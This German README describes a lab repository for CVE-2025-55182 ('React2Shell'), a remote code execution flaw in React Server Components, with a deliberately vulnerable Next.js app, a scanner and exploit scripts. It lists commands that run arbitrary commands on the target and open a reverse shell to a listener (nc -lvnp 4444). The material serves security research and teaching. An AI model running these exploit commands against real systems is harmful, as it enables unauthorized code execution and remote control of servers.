
Laborumgebung und PoC-Exploit für CVE-2025-55182 (React2Shell), eine kritische RCE-Sicherheitslücke in React Server Components. Beinhaltet eine angreifbare Anwendung, Exploit-Skripte und Scanner für Sicherheitsforschung und Bildung.
Dieses Repository enthält eine vollständige Umgebung zur Analyse und Reproduktion von CVE-2025-55182, einer kritischen Remote Code Execution (RCE)-Schwachstelle in React Server Components (RSC), die React 19.x und Next.js 15.x betrifft.
⚠️ WARNUNG: Dieses Projekt enthält absichtlich anfälligen Code. NICHT auf einem öffentlichen Server oder in einer Produktionsumgebung bereitstellen.
react-server-dom-webpack, react-server-dom-turbopackDie Schwachstelle besteht darin, wie die Laufzeit von React Server Components serialisierte Daten aus HTTP-Anfragen (Server Actions) verarbeitet. Ein Angreifer kann eine bösartige "Flight"-Protokollnutzlast erstellen, die beim Deserialisieren durch den Server beliebigen Code ausführt, bevor Authentifizierungsprüfungen stattfinden.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
Starten Sie die anfällige Anwendung in einem isolierten Container:
docker-compose up -d --build
Die Anwendung ist unter http://localhost:3000 verfügbar.
Besuchen Sie http://localhost:3000 in Ihrem Browser. Sie sollten die "React2Shell Lab"-Oberfläche mit mehreren Testfeldern sehen:
Wir stellen mehrere Werkzeuge zur Verfügung, um die Schwachstelle zu testen.
Abhängigkeiten installieren:
pip install -r exploit/requirements.txt
Prüfen, ob anfällig:
python3 exploit/exploit.py -u http://localhost:3000 --check
Befehl ausführen:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Reverse Shell (erfordert einen Listener, z.B. nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Nach anfälligen React/Next.js-Instanzen scannen:
python3 exploit/scanner.py -u http://localhost:3000
Um diese Schwachstelle in Ihren eigenen Anwendungen zu beheben:
Abhängigkeiten aktualisieren:
Patch überprüfen:
Überprüfen Sie package.json, ob die Pakete react-server-dom-* aktualisiert sind.
Dieses Projekt dient ausschließlich Bildungszwecken und der Sicherheitsforschung. Die Autoren übernehmen keine Verantwortung für den Missbrauch dieses Materials.